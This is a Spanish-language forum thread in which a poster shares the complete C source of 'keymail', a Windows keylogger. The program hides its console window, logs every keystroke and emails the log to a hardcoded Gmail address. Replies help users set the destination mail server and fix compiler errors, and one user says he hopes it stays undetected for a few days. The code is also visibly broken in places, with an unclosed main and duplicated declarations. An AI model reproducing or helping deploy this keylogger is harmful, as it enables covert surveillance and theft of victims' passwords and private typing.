[Abril Negro] Keymail the keylogger

Iniciado por alf_101010, 6 Abril 2006, 12:11 PM

0 Miembros y 2 Visitantes están viendo este tema.

alf_101010


/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
*                                                                              *
*  File: keymail.c   Ver. 0.6                                                  *
*                                                                              *
*  Purpose: a stealth (somewhat) key logger, writes to a log file then sends   *
*  and email to whoever is set in the #define options at compile time.         *
*  This code is for educational uses, don't be an ass hat with it.             *
*  White Scorpion (www.white-scorpion.nl) did the initial work on the key      *
*  logger, but he has gone on to bigger and better things.                     *
*  This version was crafted by Irongeek (www.Irongeek.com), who tacked on      *
*  some code to make it send emails, along with a few other changes.           *
*  If some of the code is crappy, blame Irongeek and not White Scorpion.       *
*  Please send Irongeek improvements and he will post the changes and give you *
*  credit for your contributions.                                              *
*                                                                              *
*  This program is free software; you can redistribute it and/or               *
*  modify it under the terms of the GNU General Public License                 *
*  as published by the Free Software Foundation; either version 2              *
*  of the License, or (at your option) any later version.                      *
*                                                                              *
*  This program is distributed in the hope that it will be useful,             *
*  but WITHOUT ANY WARRANTY; without even the implied warranty of              *
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the               *
*  GNU General Public License for more details.                                *
*                                                                              *
*  You should have received a copy of the GNU General Public License           *
*  along with this program; if not, write to the Free Software                 *
*  Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. *
*                                                                              *
* Change log:                                                                  *
*        1/3/06 On Ed Rguyl's recommendation I changed how malloc was used.    *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
/*
Compile notes: I used Dev-C++ 4.9.9.2 to compie this. if you get an error like:
        Linker error] undefined reference to `WSAStartup@8'
Add this:
         -lws2_32
to Tools->Compiler Options under the section on compile flags.
*/
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>
int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage);
#define BUFSIZE 800
#define waittime 100
/*If you don't know the mail exchange server for an address for the following
"nslookup -querytype=mx gmail.com" but replace gmail.com with the domain for
whatever email address you want. YOU MUST CHANGE  THESE SETTINGS OR
IT WILL NOT WORK!!! */
#define cmailserver "gmail-smtp-in.l.google.com"
#define cemailto "irong33k@gmail.com"
#define cemailfrom "irong33k@gmail.com"


#define cemailsubject "The Log Dude"
#define LogLength 500
#define FileName "keylog.log"
#define SMTPLog "SMTP.log"
#define cemailsubject "The Log Dude"

int test_key(void);
int main(void)
{
   //Uncomment the lines below to put the keylogger in stealh mode.
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);
   
   /* if (test==2)
    {//the path in which the file needs to be
    char *path="c:\\%windir%\\svchost.exe";
    create=create_key(path);         
    } */
   
   int t=get_keys();   
   return t;


int get_keys(void)
{
int freadindex;
char *buf;
long len;
FILE *file;
file=fopen(FileName,"a+");

           short character;
             while(1)
             {
                    sleep(10);/*to prevent 100% cpu usage*/
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        { 
                            FILE *file;
                            file=fopen(FileName,"a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }           
                            if(file!=NULL)
                            {       
                                    if((character>=39)&&(character<=64))
                                    {
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }       
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                    }
                                    else
                                    {
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;   
                                              case VK_SHIFT:
                                              fputs("\r\n[SHIFT]\r\n",file);
                                              fclose(file);
                                              break;                                           
                                              case VK_RETURN:
                                              fputs("\r\n[ENTER]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_BACK:
                                              fputs("\r\n[BACKSPACE]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_TAB:
                                              fputs("\r\n[TAB]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_CONTROL:
                                              fputs("\r\n[CTRL]\r\n",file);
                                              fclose(file);
                                              break;   
                                              case VK_DELETE:
                                              fputs("\r\n[DEL]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_1:
                                              fputs("\r\n[;:]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_2:
                                              fputs("\r\n[/?]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_3:
                                              fputs("\r\n[`~]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_4:
                                              fputs("\r\n[ [{ ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_5:
                                              fputs("\r\n[\\|]\r\n",file);
                                              fclose(file);
                                              break;                               
                                              case VK_OEM_6:
                                              fputs("\r\n[ ]} ]\r\n",file);
                                              fclose(file);
                                              break;
                                              case VK_OEM_7:
                                              fputs("\r\n['\"]\r\n",file);
                                              fclose(file);
                                              break;
                                              case 187:
                                              fputc('+',file);
                                              fclose(file);
                                              break;
                                              case 188:
                                              fputc(',',file);
                                              fclose(file);
                                              break;
                                              case 189:
                                              fputc('-',file);
                                              fclose(file);
                                              break;
                                              case 190:
                                              fputc('.',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD0:
                                              fputc('0',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD1:
                                              fputc('1',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD2:
                                              fputc('2',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD3:
                                              fputc('3',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD4:
                                              fputc('4',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD5:
                                              fputc('5',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD6:
                                              fputc('6',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD7:
                                              fputc('7',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD8:
                                              fputc('8',file);
                                              fclose(file);
                                              break;
                                              case VK_NUMPAD9:
                                              fputc('9',file);
                                              fclose(file);
                                              break;
                                              case VK_CAPITAL:
                                              fputs("\r\n[CAPS LOCK]\r\n",file);
                                              fclose(file);
                                              break;
                                              default:
                                              fclose(file);
                                              break;
                                       }       
                                  }   
                             }       
                   }   
               }                 
           FILE *file;
           file=fopen(FileName,"rb");
           fseek(file,0,SEEK_END); //go to end
           len=ftell(file); //get position at end (length)
           if(len>=LogLength) {
             fseek(file,0,SEEK_SET);//go to beg.
             buf=(char *)malloc(len);//malloc buffer
             freadindex=fread(buf,1,len,file);//read into buffer
             buf[freadindex] = '\0';//Extra bit I have to add to make it a sting
             MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);
             fclose(file);
             file=fopen(FileName,"w");                       
             }
           
            fclose(file);
            //free (buf);
                 
           }
           return EXIT_SUCCESS;                           
}

int MailIt (char *mailserver, char *emailto, char *emailfrom,
char *emailsubject, char *emailmessage) {
    SOCKET sockfd;
    WSADATA wsaData;
    FILE *smtpfile;
   
    #define bufsize 300
    int bytes_sent;   /* Sock FD */
    int err;
    struct hostent *host;   /* info from gethostbyname */
    struct sockaddr_in dest_addr;   /* Host Address */
    char line[1000];
    char *Rec_Buf = (char*) malloc(bufsize+1);
    smtpfile=fopen(SMTPLog,"a+");
    if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {
      fputs("WSAStartup failed",smtpfile);
      WSACleanup();
      return -1;
    }
    if ( (host=gethostbyname(mailserver)) == NULL) {
       perror("gethostbyname");
       exit(1);
    }
    memset(&dest_addr,0,sizeof(dest_addr));
    memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

     /* Prepare dest_addr */
     dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
     dest_addr.sin_port= htons(25); /* PORT defined above */

     /* Get socket */

     if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
        perror("socket");
        exit(1);
        }
     /* Connect !*/
     fputs("Connecting....\n",smtpfile);

    if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
        perror("connect");
        exit(1);
        }
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"helo me.somepalace.com\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"MAIL FROM:<");
     strncat(line,emailfrom,strlen(emailfrom));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"RCPT TO:<");
     strncat(line,emailto,strlen(emailto));
     strncat(line,">\n",3);
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"DATA\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     sleep(waittime);
     strcpy(line,"To:");
     strcat(line,emailto);
     strcat(line,"\n");
     strcat(line,"From:");
     strcat(line,emailfrom);
     strcat(line,"\n");
     strcat(line,"Subject:");
     strcat(line,emailsubject);
     strcat(line,"\n");
     strcat(line,emailmessage);
     strcat(line,"\r\n.\r\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     strcpy(line,"quit\n");
     fputs(line,smtpfile);
     bytes_sent=send(sockfd,line,strlen(line),0);
     sleep(waittime);
     err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\0';
     fputs(Rec_Buf,smtpfile);
     fclose(smtpfile);
     #ifdef WIN32
     closesocket(sockfd);
     WSACleanup();
     #else
     close(sockfd);
     #endif
}


Irongeek

No sé si habréis visto éste keylogger, es indetectable. Por el momento graba pulsaciones a un fichero . log, pero no consigo que ese log se envie por mail  :-\

SheKeL_C$

Creo q esto deberia ir en programacion en C/C++, aunk sea un keylogger ay muxos de este foro q no saben este lenguaje..

Podrias preguntar en el otro foro como enviar un txt por mail  ;)

alf_101010

Cita de: seken_C4 en  6 Abril 2006, 12:47 PM
Podrias preguntar en el otro foro como enviar un txt por mail

Ya sí funciona, el problema es que lo estuve probando sobre VMware en una instalación de Windows nLiteada que tenía el puerto 25 bloqueado  :o

He probado con los SMTP de yahoo y de hotmail, pero no funcionan, en cambio con el de Gmail sí  :P

cacolo

Pero... k te dan el codigo solo o se puede bajar el exe ? Es que.. dice "download here" y te da para bajar un archivo que se abre con el Devc++... se tiene k compilar por uno mismo ? :S|  es k no tengo ganas d compilarlo :P



cacolo

ahh.. veo que te da en el codigo la opcion a k mail keres k mande etc... pueden decir que hay que cambiar de ahi para que este todo 100% k me llege a mi mail o k ande 100% bien =)..

lo del mail es cambiarlo y cambiar el server stmp, k mas hay que cambiaR?



alf_101010

No hay que cambiar nada más para que te llegue.

Salvo que quieras que el PC use al 100% el CPU quitando ésta línea:

Citar
                    sleep(10);/*to prevent 100% cpu usage*/

cacolo

Oki muchas gracias, voy a intentarlo ahora =).
le pido a dios, que sea indectectable por lo menos por unos dias, asi me divierto un rato :D!



cacolo

#7
me da unos errores al compilar =/

CitarCompiler: Default compiler
Executing  gcc.exe...
gcc.exe "C:\Documents and Settings\Federico\Configuración local\Archivos temporales de Internet\Content.IE5\KDKJ0RKV\keymail[1].c" -o "C:\Documents and Settings\Federico\Configuración local\Archivos temporales de Internet\Content.IE5\KDKJ0RKV\keymail[1].exe"    -I"C:\Dev-Cpp\include"   -L"C:\Dev-Cpp\lib"
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x95):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x6d9):keymail[1].c: undefined reference to `WSAStartup@8'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x6fc):keymail[1].c: undefined reference to `WSACleanup@0'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x716):keymail[1].c: undefined reference to `gethostbyname@4'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x7a9):keymail[1].c: undefined reference to `htons@4'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x7cf):keymail[1].c: undefined reference to `socket@12'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x808):keymail[1].c: undefined reference to `connect@12'

C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x834):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x859):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x8e6):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x8fb):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x920):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0x9ef):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xa04):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xa29):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xaf8):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xb0d):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xb32):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xbbf):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xbd4):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xbf9):keymail[1].c: undefined reference to `recv@16'

C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xc35):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xd6a):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xd7f):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xda4):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xe31):keymail[1].c: undefined reference to `send@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xe46):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xe6b):keymail[1].c: undefined reference to `recv@16'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xeb4):keymail[1].c: undefined reference to `closesocket@4'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccmgaaaa.o(.text+0xebc):keymail[1].c: undefined reference to `WSACleanup@0'
collect2: ld returned 1 exit status

Execution terminated



alf_101010

Sigue el anexo que hay al principio del código:

Citar
if you get an error like:
[Linker error] undefined reference to `WSAStartup@8'
Add this:
         -lws2_32
to Tools->Compiler Options under the section on compile flags.

cacolo

Voy a compiler opcions y dnd pongo eso ? abajo de la sesion compilar flags? no entiendo, flags= bandera no? xD

Suponog que va dnd se puede escribir: Add these Commands to the linker command line.

Si es asi ya lo puse y kise compilar y ahora sale esto.

CitarCompiler: Default compiler
Executing  gcc.exe...
gcc.exe "C:\Documents and Settings\Federico\Configuración local\Archivos temporales de Internet\Content.IE5\KDKJ0RKV\keymail[1].c" -o "C:\Documents and Settings\Federico\Configuración local\Archivos temporales de Internet\Content.IE5\KDKJ0RKV\keymail[1].exe"    -I"C:\Dev-Cpp\include"   -L"C:\Dev-Cpp\lib" -lws2_32
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0x95):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0x834):keymail[1].c: undefined reference to `sleep'

C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0x8fb):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0xa04):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0xb0d):keymail[1].c: undefined reference to `sleep'
C:\DOCUME~1\Federico\CONFIG~1\Temp/ccKubaaa.o(.text+0xbd4):keymail[1].c: more undefined references to `sleep' follow
collect2: ld returned 1 exit status

Execution terminated